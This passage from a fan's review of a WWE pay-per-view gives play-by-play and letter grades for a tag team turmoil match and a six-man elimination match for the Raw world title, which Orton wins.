Randy says he has nothing to say. This takes nearly two minutes.

Legendary is coming to DVD already. That’s AWESOME.

We’re having a tag team turmoil match??? Hokey smoke. Someone made a thread about this and I didn’t think it would happen but here we go. The idea is there are five teams with two random ones starting. They have a match and then the winners advance to face the next team. Last team standing wins. It’s kind of like the weird cousin of the gauntlet match.

TagTeamTurmoil

We open with Hart Dynasty vs. Usos. Yeah because we haven’t seen this enough. Striker mentions playing a game called Six Degrees of the Hart Dungeon, which sounds AWESOME to a wrestling geek like me. DAVID HITS A BIG BOOT IN THE CORNER! Kidd hits a big Asai moonsault to the floor. Kidd gets the Sharpshooter but the other Uso hits a BIG BOOT to end him, guaranteeing new champions.

Kozlov/Santino vs. Usos now. This lasts about a minute as Santino sets for the cobra but Tamina distracts him, allowing a Samoan Drop (shocking right?) to end him.

Bourne/Henry in next. This shows how sad the tag division is. It truly does. Henry comes in and cleans house with the World’s Strongest Slam. Air Bourne ends it.

Final team is Drew/Cody. Ok we HAVE to have the heels win it here for the sake of sanity. Also so we can hear either awesome theme song. Drew is in those sexy white tights too so I’m happy. The heels dominate for awhile as Bourne plays Ricky Morton for awhile. They say Cody was a tag team champion but never say with who. I don’t get why though.

Big gutbuster by Drew as Bourne is in trouble, hence the Morton thing I guess. Drew CRANKS on a chinlock which looks awesome. Bourne gets out of a suplex using the ultimate counter: kicking his feet. Hot tag to Henry and Cody trips coming through the ropes. They go for the Super Shooting Star which takes forever so Cross Roads takes out Bourne (illegal man) for the pin and the titles.

Rating: D. These are hard to grade but given who was in this the booking more or less was terrible. No Gatecrashers or Dudebusters or Nexus but Bourne and Henry? Really? The one good thing here is that they beat the champions clean the other night. That’s a major plus for them so there’s no argument that they didn’t beat the champions. Not wild AT ALL on having another randon team thrown together but that’s the nature of the beast in modern tag wrestling I guess. Pretty bad though and definitely the worst of the night so far.

Random Alberto Del Rio promo montage.

Build up video for the elimination match and I think you get the idea of it.

Sheamus says his usual stuff.

RawWorldTitle: Sheamusvs. JohnCenavs. Edgevs. WadeBarrettvs. RandyOrtonvs. ChrisJericho

Pin or submission only for eliminations. MONSTER reaction for Edge. The trenchcoat is back too. Face pop for Jericho but not as big as Edge’s. Barrett is in his second PPV main event less than five months after making the main roster. Not bad. Elimination rules here. Orton is out last and gets a nice reaction but still pales in comparison to Edge. Striker asks Lawler for strategy here. Lawler says avoid elimination, which sounds really simplistic but Lawler follows it up by saying you’re going to have a better chance with three or four opponents than with five so if you can hang on your odds improve. Sometimes the simplest answer is best.

Tornado rules here too which is nice. We get a Hulk reference kind of as Cole lists off champions. Cena and Jericho stare each other down which makes me think Jericho is a jobber by comparison. RKO maybe 90 seconds in ends Jericho. WHAT THE HECK? He makes the big sad exit and everyone, myself included, is shocked. Y2J chant picks up of course as I’d love a face run from him.

Everyone surrounds Barrett and the beatdown is on! Orton and Cena have an eventual staredown but Barrett breaks it up. Striker calls Edge, Sheamus and Barrett rulebreakers. CENA THROWS A DROPKICK! The superpowers fight it out but Barrett saves Cena for some reason. Sheamus kicks Barrett in the face. He dominates for awhile and goes around kicking everyone in sight.

High knees to Cena which I can’t think of a Too Many Lies joke for. Cena blocks the High Cross as everyone else has apparently died. Edge comes back in and stops the top rope Fameasser. Double suplex off the top to take Cena down for two. Edge and Sheamus work together which tells me he eliminates the Irishman.

Orton pops up for like two seconds and Sheamus takes him down almost immediately. Spear misses and the Irish Curse takes Edge down. Brogue Kick misses but Edge gets the spear. Orton takes one too but Edge takes a very nice FU to get rid of him and we have four left. Barrett takes down Cena and stomps the tar out of him.

He and Cena fight it out for awhile until Cena makes his comeback. 5 Knuckle Shuffle but Sheamus accidentally hits Barrett. Cole keeps calling the FU the A.A. now. Sheamus is in the STF FOREVER and has one of the best teases of getting there I’ve ever seen. He manages to do it and you can feel the crowd just stop. Nexus comes out and the distraction allows Barrett to hit Wasteland on Cena and ELIMINATE HIM!

Nexus beats down Orton and since there are no disqualifications this is all gravy baby. Nexus tries to run in again but Cena KILLS one of them with a chair. Orton gets the backbreaker on Barrett and an RKO gets us down to Sheamus vs. Orton. Brogue Kick KILLS Orton but it only gets two and a big old pop. High Cross is countered and the RKO gives Orton his seventh title!

Rating: C+. This was ok. It wasn’t the mess I thought it would be and getting rid of two people relatively early, especially Jericho, made this run a lot more smoothly. It’s an ok match but really nothing worth going out of your way to see. They went with the usual multi-man formula here which I’m not a fan of at all. Barrett pinning Cena clean is a good thing but it’s probably going to lead to a Hell in a Cell match which I don’t think anyone wants to see at this point. Fairly good match, but not a great one at all.

Overall Rating: C-. This show was definitely ok but it’s not a great show. The title changes are usually pretty cool and some of these were, but I can’t really bring myself to care about Orton winning his 7th world title. You get some good stuff like Miz vs. Bryan and Kane vs. Taker, but other than that this show really isn’t anything special. It’s entertaining enough for three hours and if you watch it you won’t be bored, but you certainly won’t be blown away. Not a bad show but not really good either.

 

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